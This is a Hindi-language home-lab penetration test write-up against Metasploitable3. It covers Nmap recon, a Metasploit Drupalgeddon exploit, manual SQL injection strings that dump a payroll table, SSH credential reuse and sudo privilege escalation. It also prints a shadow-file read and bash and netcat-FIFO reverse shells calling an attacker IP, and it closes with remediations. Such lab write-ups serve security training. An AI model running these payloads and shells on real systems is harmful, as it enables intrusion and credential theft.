
होम-लैब पेनेट्रेशन टेस्ट रिपोर्ट Metasploitable3 की, जिसमें Nmap रेकॉन, Drupalgeddon RCE, SQL इंजेक्शन, SSH क्रेडेंशियल रीयूज़, sudo प्रिविलेज एस्केलेशन, और रिवर्स शेल्स शामिल हैं।
लेखक: Arlen Fortunato
दिनांक: सितंबर 2026
वातावरण: Parrot OS (हमलावर) → Metasploitable3 Ubuntu 14.04 (लक्ष्य)
दायरा: पूर्ण नेटवर्क पेनेट्रेशन टेस्ट — एन्यूमरेशन, एक्सप्लॉइटेशन, privesc, पोस्ट-एक्सप्लॉइटेशन
प्रकार: होम लैब / कैप्चर द फ्लैग अभ्यास
⚠️ नीचे दिए गए सभी क्रेडेंशियल्स redacted हैं। यह एक वैध, पृथक होम-लैब अभ्यास था।
| उपकरण | भूमिका |
|---|---|
| Nmap | पोर्ट स्कैन, सेवा/संस्करण पहचान, OS फिंगरप्रिंट |
| Metasploit (msfconsole) | एक्सप्लॉइटेशन (CVE-2014-3704), सेशन प्रबंधन |
| msfvenom | पेलोड जनरेशन (bash/netcat रिवर्स शेल) |
| nc (netcat) | रिवर्स शेल लिसनर |
| curl / sed | मैनुअल SQLi निर्माण + HTML आउटपुट फॉर्मेटिंग |
| ssh / scp | रिमोट एक्सेस, क्रेडेंशियल सत्यापन |
| openssl s_client | TLS/SSL सेवा सत्यापन |
| gobuster | डायरेक्टरी ब्रूट-फोर्सिंग (वेब एन्यूमरेशन) |
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>
| पोर्ट | स्थिति | सेवा | संस्करण |
|---|---|---|---|
| 21/tcp | open | FTP | ProFTPD 1.3.5 |
| 22/tcp | open | SSH | OpenSSH 6.6.1p1 |
| 80/tcp | open | HTTP | Apache httpd 2.4.7 (Ubuntu) |
| 445/tcp | open | SMB | Samba smbd 3.X–4.X |
| 631/tcp | open | IPP | CUPS 1.7 |
| 3306/tcp | open | MySQL | MySQL (अनधिकृत) |
| 3500/tcp | open | HTTP | WEBrick httpd 1.3.1 (Ruby 2.3.8) |
| 6697/tcp | open | IRC | UnrealIRCd |
| 8080/tcp | open | HTTP | Jetty 8.1.7.v20120910 |
OS: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64
| # | भेद्यता | CVE / प्रकार | पोर्ट | गंभीरता | परिणाम |
|---|---|---|---|---|---|
| 1 | UnrealIRCd संस्करण फिंगरप्रिंट — बैकडोर प्रोब | CVE-2010-2075 | 6697 | ⚠️ फॉल्स पॉज़िटिव | मॉड्यूल ऑटो-चेक पास, मैनुअल प्रोब विफल — बिल्ड में बैकडोर अनुपस्थित |
| 2 | Drupal 7.5 — Drupageddon RCE | CVE-2014-3704 | 80 | 🔴 क्रिटिकल | www-data के रूप में Meterpreter शेल |
| 3 | Payroll ऐप — UNION SQLi (मैनुअल) | मैनुअल इंजेक्शन | 80 | 🔴 क्रिटिकल | पूर्ण DB डंप (15 उपयोगकर्ता, plaintext पासवर्ड — redacted) |
| 4 | SSH — डिफ़ॉल्ट + पुनःप्रयुक्त क्रेडेंशियल | डिफ़ॉल्ट / क्रेडेंशियल पुनःउपयोग | 22 | 🔴 क्रिटिकल | vagrant (NOPASSWD sudo), luke_skywalker (sudo ALL) |
| 5 | प्रिविलेज एस्केलेशन (दो पथ) | गलत कॉन्फ़िगर किया गया sudo | N/A | 🔴 क्रिटिकल | दोनों खातों के माध्यम से root |
| 6 | Shadow डंप | पोस्ट-एक्सप्लॉइटेशन | N/A | 🔴 क्रिटिकल | 16 md5crypt हैश निकाले गए |
| 7 | रिवर्स शेल (bash + netcat) | msfvenom / मैनुअल निर्माण | 4444/4445 | 🟠 उच्च | हमलावर लिसनर पर इंटरैक्टिव शेल प्राप्त |
भेद्यता: UnrealIRCd 3.2.8.1 ऐतिहासिक रूप से एक ट्रोजनयुक्त बाइनरी के साथ वितरित किया गया था जो अनधिकृत क्लाइंट द्वारा पंजीकरण से पहले ट्रिगर स्ट्रिंग भेजने पर मनमाने कमांड निष्पादित करता है — IRC डेमन उपयोगकर्ता के रूप में RCE।
एक्सप्लॉइटेशन प्रयास: Metasploit मॉड्यूल exploit/unix/irc/unreal_ircd_3281_backdoor पेलोड cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash के साथ। मॉड्यूल ऑटो-चेक ने सेवा को भेद्य बताया; किसी भी पेलोड पर कोई सेशन वापस नहीं आया।
किए गए ट्रबलशूटिंग:
nc -vz)openssl s_client)nc के माध्यम से मैनुअल बैकडोर ट्रिगर ने IRC प्रोटोकॉल त्रुटि 451 लौटाई — कमांड को IRC कमांड के रूप में पार्स किया गया, कभी निष्पादित नहीं हुआनिष्कर्ष: संस्करण बैनर भेद्य बिल्ड को इंगित करता है, लेकिन इस इंस्टेंस में बैकडोर अनुपस्थित है (स्वच्छ/पुनःसंकलित बाइनरी)। साक्ष्य के साथ गैर-शोषणीय — फॉल्स पॉज़िटिव के रूप में वर्गीकृत।
भेद्यता: Drupal 7.x 7.32 से पहले डेटाबेस एब्स्ट्रैक्शन लेयर में एक गंभीर SQL इंजेक्शन शामिल है जो अनधिकृत रिमोट कोड निष्पादन को सक्षम बनाता है।
संस्करण पुष्टि: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"
एक्सप्लॉइटेशन:
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run
परिणाम:
getuid → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd → /var/www/html/drupal
पोस्ट-एक्सप्लॉइटेशन एन्यूमरेशन:
/var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin//home: 16 उपयोगकर्ता खातेभेद्यता: payroll_app.php लॉगिन फॉर्म, पासवर्ड फ़ील्ड में SQL इंजेक्शन। कोई ऑटोमेशन उपयोग नहीं किया गया — curl के माध्यम से निर्मित।
चरण 1 — प्रमाणीकरण बायपास:
' or 1=1#
' SQL स्ट्रिंग को बंद करता है, or 1=1 को सत्य बाध्य करता है, # पीछे के कोट को कमेंट कर देता है।
चरण 2 — कॉलम गणना + डिस्प्ले मैपिंग:
' UNION SELECT null, null, null, null# -- कोई त्रुटि नहीं = 4 कॉलम
' UNION SELECT 1, 2, 3, 4# -- मार्कर: 1=Username, 2=First, 3=Last, 4=Salary
चरण 3 — information_schema एन्यूमरेशन:
| प्रश्न | उत्तर |
|---|---|
| DB संस्करण / उपयोगकर्ता | MySQL 5.5.62, root@localhost |
| डेटाबेस | information_schema, drupal, mysql, payroll, performance_schema |
payroll में टेबल | users |
users में कॉलम | username, first_name, last_name, password, salary |
चरण 4 — डंप (पासवर्ड redacted):
' UNION SELECT username, password, salary, null FROM users#
| उपयोगकर्ता नाम | पासवर्ड | वेतन |
|---|---|---|
| leia_organa | [REDACTED] | 9560 |
| luke_skywalker | [REDACTED] | 1080 |
| han_solo | [REDACTED] | 1200 |
| artoo_detoo | [REDACTED] | 22222 |
| boba_fett | [REDACTED] | 20000 |
| greedo | [REDACTED] | 50000 |
| (+ 9 और खाते) | [REDACTED] | — |
पथ 1 — डिफ़ॉल्ट खाता: डिफ़ॉल्ट vagrant क्रेडेंशियल जोड़ी SSH पर प्रमाणित → sudo समूह में उपयोगकर्ता (ALL : ALL) NOPASSWD: ALL के साथ।
पथ 2 — क्रेडेंशियल पुनःउपयोग: SQLi डंप से एकत्र किए गए क्रेडेंशियल सीधे SSH पर एक अन्य लैब उपयोगकर्ता (luke_skywalker, sudo समूह, (ALL : ALL) ALL) के रूप में प्रमाणित।
महत्व: क्रॉस-सर्विस क्रेडेंशियल पुनःउपयोग प्रदर्शित करता है — एप्लिकेशन क्रेडेंशियल एक सिस्टम खाते से मैप किए गए।
vagrant → sudo -l दिखाता है NOPASSWD: ALL → sudo su - → uid=0(root)।luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root)।किसी स्थानीय एक्सप्लॉइट की आवश्यकता नहीं — दोनों खातों में अत्यधिक अनुमतिपूर्ण sudo अनुदान हैं।
sudo cat /etc/shadow
16 md5crypt ($1$) हैश निकाले गए — प्रिवेस्क के बाद पूर्ण क्रेडेंशियल संग्रह।
पेलोड 1 — bash:
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
nc -lnvp 4444 पर कैप्चर → इंटरैक्टिव शेल।
पेलोड 2 — netcat (नेम्ड-पाइप):
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo
nc -lnvp 4445 पर कैप्चर → इंटरैक्टिव शेल।
तंत्र: नेम्ड पाइप (FIFO) netcat stdin/stdout को /bin/sh से जोड़ता है, एक सिंगल-सॉकेट द्विदिशात्मक टनल बनाता है; बाद में FIFO साफ किया गया।
| निष्कर्ष | सिफारिश |
|---|---|
| UnrealIRCd संस्करण फिंगरप्रिंट | बाइनरी स्रोत अखंडता सत्यापित करें (चेकसम); अपग्रेड या हटाएं |
| Drupal 7.5 | नवीनतम स्थिर संस्करण में अपग्रेड करें; SA-CORE-2014-005 लागू करें |
| Payroll SQLi | पैरामीटराइज़्ड क्वेरी / प्रीपेयर्ड स्टेटमेंट; इनपुट सत्यापित करें |
| डिफ़ॉल्ट SSH क्रेडेंशियल | डिफ़ॉल्ट खाते रोटेट/हटाएं; की-आधारित प्रमाणीकरण लागू करें |
| Sudo अति-विशेषाधिकार | न्यूनतम विशेषाधिकार लागू करें; NOPASSWD व्यापक अनुदान हटाएं |
| क्रेडेंशियल पुनःउपयोग | प्रति सेवा अद्वितीय पासवर्ड लागू करें; पासवर्ड नीति |
| कमजोर पासवर्ड हैशिंग | md5crypt → bcrypt / Argon2id में माइग्रेट करें |